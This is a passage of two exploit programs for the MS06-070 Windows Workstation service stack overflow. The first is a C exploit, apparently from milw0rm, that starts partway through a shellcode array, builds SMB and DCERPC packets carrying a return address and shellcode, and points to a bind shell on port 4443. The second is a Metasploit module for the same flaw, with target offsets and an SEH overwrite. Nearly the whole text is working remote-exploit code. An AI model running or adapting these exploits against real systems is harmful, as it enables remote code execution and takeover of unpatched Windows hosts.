"\x62\x0e\xdf\x4d\x2d\x3d\xdc\x18\xbb\xa6\xf3\xa6\x19\xd3\x27\x91" "\xba\xa6\xf5\x31\x39\x59\x23\xce"; DWORD fill_len_1 =0x84c; //fill data DWORD fill_len_2 =0x1000; //fill rubbish data DWORD addr_jmp_ebx=0x77F92A9B; //jmp ebx address,in ntdll.dll unsigned char code_jmp8[]= //jmp 8 "\xEB\x06\x90\x90"; unsigned char *Rpc_NetrJoinDomain2=NULL; DWORD dwRpc_NetrJoinDomain2=0; unsigned char recvbuff[2048]; void showinfo(void) { printf("Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit\n"); printf("by cocoruder(frankruder_at_hotmail.com),2006.10.15\n"); printf("page:http://ruder.cdut.net/default.asp\n\n"); printf("Code fixed by S A Stevens - 16.11.2006\n"); printf("Should work on Windows 2000 Server SP4 (All Languages)\n\n"); printf("usage:\n"); printf("ms06070 targetip DomainName\n\n"); printf("notice:\n"); printf("Make sure the DomainName is valid and live,more informations see\n"); printf("http://research.eeye.com/html/advisories/published/AD20061114.html,\n"); printf("cocoruder just research the vulnerability and give the exploit for Win2000.\n\n\n"); } void neg ( int s ) { char response[1024]; memset(response,0,sizeof(response)); send(s,(char *)SmbNeg,sizeof(SmbNeg)-1,0); } void MakeAttackPacket(char *lpDomainNameStr) { DWORD j,len,b_flag; dwDomainNameLen=(strlen(lpDomainNameStr)+2)*2; lpDomainName=(unsigned char *)malloc(dwDomainNameLen); memset(lpDomainName,0,dwDomainNameLen); MultiByteToWideChar(CP_ACP,0,lpDomainNameStr,-1,(LPWSTR)lpDomainName,dwDomainNameLen); *(unsigned char *)(lpDomainName+dwDomainNameLen-2)=0x5C; *(unsigned char *)(lpDomainName+dwDomainNameLen-4)=0x5C; len=dwDomainNameLen+ //DomainName fill_len_1-3*2+ //fill_len_1 4+ //jmp 8 4+ //addr jmp ebx sizeof(shellcode)-1+ //shellcode fill_len_2+ //fill_len_2 2; //0x0000 b_flag=0; if (len%2==1) { len++; b_flag=1; } dwRpc_NetrJoinDomain2=sizeof(Rpc_NetrJoinDomain2_Header)-1+ len+ sizeof(Rpc_NetrJoinDomain2_End)-1; //end //malloc Rpc_NetrJoinDomain2=(unsigned char *)malloc(dwRpc_NetrJoinDomain2); if (Rpc_NetrJoinDomain2==NULL) { printf("malloc error!\n"); return; } //fill nop memset(Rpc_NetrJoinDomain2,0x90,dwRpc_NetrJoinDomain2); j=sizeof(Rpc_NetrJoinDomain2_Header)-1; //update para1 length *(DWORD *)(Rpc_NetrJoinDomain2_Header+j-0x0c)=len/2; *(DWORD *)(Rpc_NetrJoinDomain2_Header+j-0x04)=len/2; //copy header memcpy(Rpc_NetrJoinDomain2,Rpc_NetrJoinDomain2_Header,sizeof(Rpc_NetrJoinDomain2_Header)-1); j=sizeof(Rpc_NetrJoinDomain2_Header)-1; //copy DomainName memcpy(Rpc_NetrJoinDomain2+j,lpDomainName,dwDomainNameLen); j=j+dwDomainNameLen; //calculate offset j=j+fill_len_1-3*2; //jmp 8 memcpy(Rpc_NetrJoinDomain2+j,code_jmp8,sizeof(code_jmp8)-1); j=j+4; //jmp ebx address *(DWORD *)(Rpc_NetrJoinDomain2+j)=addr_jmp_ebx; j=j+4; //copy shellcode memcpy(Rpc_NetrJoinDomain2+j,shellcode,sizeof(shellcode)-1); j=j+sizeof(shellcode)-1; //fill data memset(Rpc_NetrJoinDomain2+j,0x41,fill_len_2); j=j+fill_len_2; //0x0000(NULL) if (b_flag==0) { Rpc_NetrJoinDomain2[j]=0x00; Rpc_NetrJoinDomain2[j+1]=0x00; j=j+2; } else if (b_flag==1) { Rpc_NetrJoinDomain2[j]=0x00; Rpc_NetrJoinDomain2[j+1]=0x00; Rpc_NetrJoinDomain2[j+2]=0x00; j=j+3; } //copy other parameter memcpy(Rpc_NetrJoinDomain2+j,Rpc_NetrJoinDomain2_End,sizeof(Rpc_NetrJoinDomain2_End)-1); j=j+sizeof(Rpc_NetrJoinDomain2_End)-1; } void main(int argc,char **argv) { WSADATA ws; struct sockaddr_in server; SOCKET sock; DWORD ret; WORD userid,treeid,fid; WSAStartup(MAKEWORD(2,2),&ws); sock = socket(AF_INET,SOCK_STREAM,0); if(sock<=0) { return; } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_port = htons((USHORT)445); printf("[+] Connecting %s\n",argv[1]); ret=connect(sock,(struct sockaddr *)&server,sizeof(server)); if (ret==-1) { printf("Connection Error, Port 445 Firewalled?\n"); return; } neg(sock); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); ret=send(sock,(char *)Session_Setup_AndX_Request,sizeof(Session_Setup_AndX_Request)-1,0); if (ret<=0) { printf("send Session_Setup_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); userid=*(WORD *)(recvbuff+0x20); //get userid memcpy(TreeConnect_AndX_Request+0x20,(char *)&userid,2); //update userid ret=send(sock,(char *)TreeConnect_AndX_Request,sizeof(TreeConnect_AndX_Request)-1,0); if (ret<=0) { printf("send TreeConnect_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); treeid=*(WORD *)(recvbuff+0x1c); //get treeid //send NTCreate_AndX_Request memcpy(NTCreate_AndX_Request+0x20,(char *)&userid,2); //update userid memcpy(NTCreate_AndX_Request+0x1c,(char *)&treeid,2); //update treeid ret=send(sock,(char *)NTCreate_AndX_Request,sizeof(NTCreate_AndX_Request)-1,0); if (ret<=0) { printf("send NTCreate_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); fid=*(WORD *)(recvbuff+0x2a); //get fid //rpc bind memcpy(Rpc_Bind_Wkssvc+0x20,(char *)&userid,2); memcpy(Rpc_Bind_Wkssvc+0x1c,(char *)&treeid,2); memcpy(Rpc_Bind_Wkssvc+0x43,(char *)&fid,2); *(DWORD *)Rpc_Bind_Wkssvc=htonl(sizeof(Rpc_Bind_Wkssvc)-1-4); ret=send(sock,(char *)Rpc_Bind_Wkssvc,sizeof(Rpc_Bind_Wkssvc)-1,0); if (ret<=0) { printf("send Rpc_Bind_Wkssvc error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); MakeAttackPacket((char *)argv[2]); memcpy(Rpc_NetrJoinDomain2+0x20,(char *)&userid,2); memcpy(Rpc_NetrJoinDomain2+0x1c,(char *)&treeid,2); memcpy(Rpc_NetrJoinDomain2+0x43,(char *)&fid,2); *(DWORD *)Rpc_NetrJoinDomain2=htonl(dwRpc_NetrJoinDomain2-4); *(WORD *)(Rpc_NetrJoinDomain2+0x27)=dwRpc_NetrJoinDomain2-0x58; //update Total Data Count *(WORD *)(Rpc_NetrJoinDomain2+0x3b)=dwRpc_NetrJoinDomain2-0x58; //update Data Count *(WORD *)(Rpc_NetrJoinDomain2+0x45)=dwRpc_NetrJoinDomain2-0x47; //update Byte Count *(WORD *)(Rpc_NetrJoinDomain2+0x60)=dwRpc_NetrJoinDomain2-0x58; //update Frag Length ret=send(sock,(char *)Rpc_NetrJoinDomain2,dwRpc_NetrJoinDomain2,0); if (ret<=0) { printf("send Rpc_NetrJoinDomain2 error!\n"); return; } printf("[+] Sent attack packet successfully, Try telnet on %s:4443?\n",argv[1]); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); closesocket(sock); } // milw0rm.com [2006-11-17]

## # $Id: ms06_070_wkssvc.rb 10554 2010-10-05 19:29:10Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Requires valid/working DOMAIN + DC include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Workstation Service NetpManageIPCConnect Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect function using the Workstation service in Windows 2000 SP4 and Windows XP SP2. In order to exploit this vulnerability, you must specify a the name of a valid Windows DOMAIN. It may be possible to satisfy this condition by using a custom dns and ldap setup, however that method is not covered here. Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator credentials are required to reach the vulnerable code. Windows XP SP1 only requires valid user credentials. Also, testing shows that a machine already joined to a domain is not exploitable. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10554 $', 'References' => [ [ 'CVE', '2006-4691' ], [ 'OSVDB', '30263' ], [ 'BID', '20985' ], [ 'MSB', 'MS06-070' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic Targetting', { } ], [ 'Windows 2000 SP4', { 'Offset' => (1058*2), 'Ret' => 0x75022ac4 # pop/pop/ret in ws2help.dll } ], [ 'Windows XP SP0/SP1', { 'Offset' => (1290*2), 'Ret' => 0x71ab21cd # pop/pop/ret in ws2_32.dll } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use.", 'WKSSVC']), # NOTE: a valid domain name is required. See description. OptString.new('DOMAIN', [ true, "The domain to validate prior to joining it."]) ], self.class) end def exploit connect() smb_login() mytarget = nil if (target.name =~ /Automatic/) case smb_peer_os() when 'Windows 5.0' print_status("Detected a Windows 2000 target") mytarget = targets[1] when 'Windows 5.1' begin smb_create("\\SRVSVC") print_status("Detected a Windows XP SP0/SP1 target") rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if (e.error_code == 0xc0000022) raise RuntimeError, "Windows XP SP2 requires Administrator privileges!" end print_status("Detected a Windows XP target (unknown patch level)") end mytarget = targets[2] else raise RuntimeError, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}..." end else mytarget = target end handle = dcerpc_handle( '6bffd098-a112-3610-9833-46c3f87e345a', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Building the stub data...") distance = mytarget['Offset'] hostname = make_nops(distance - payload.encoded.length) hostname << payload.encoded hostname << generate_seh_record(mytarget.ret) hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string name = datastore['DOMAIN'] + "\\\\L" name = Rex::Text.to_unicode(name) name << hostname name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3) name << "\x00\x00" stub = NDR.uwstring("\\\\#{datastore['RHOST']}") + NDR.UnicodeConformantVaryingStringPreBuilt(name) + NDR.uwstring("") + NDR.uwstring("") + NDR.long(0) + NDR.long(1) print_status("Calling the vulnerable function...") begin dcerpc.call(0x16, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e end end # Cleanup handler disconnect end end =begin The IDL for NetrJoinDomain2 looks like this: long _NetrJoinDomain2@28 ( [in][unique][string] wchar_t * arg_1, [in][string] wchar_t * arg_2, [in][unique][string] wchar_t * arg_3, [in][unique][string] wchar_t * arg_4, [in][unique] struct_C * arg_5, [in] long arg_6 ); 1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN 2. <-- dns server - response including answer and additional record. answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389 additional: IN.A address of whateverserver.DOMAIN 3. --> ldap server - baseObject query with filter/attributes: - filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00)) - attributes: AttributeDescriptionList: NetLogon 4. <-- ldap server - searchResDone success, attributes data - PartialAttributeList netlogon - 1 item - type 23, flags 0x1fd, domain GUID, forest, domain, hostname, netbios domain, netbios hostname, user, site, client site, version, lmtoken, nttoken 5. validated. =end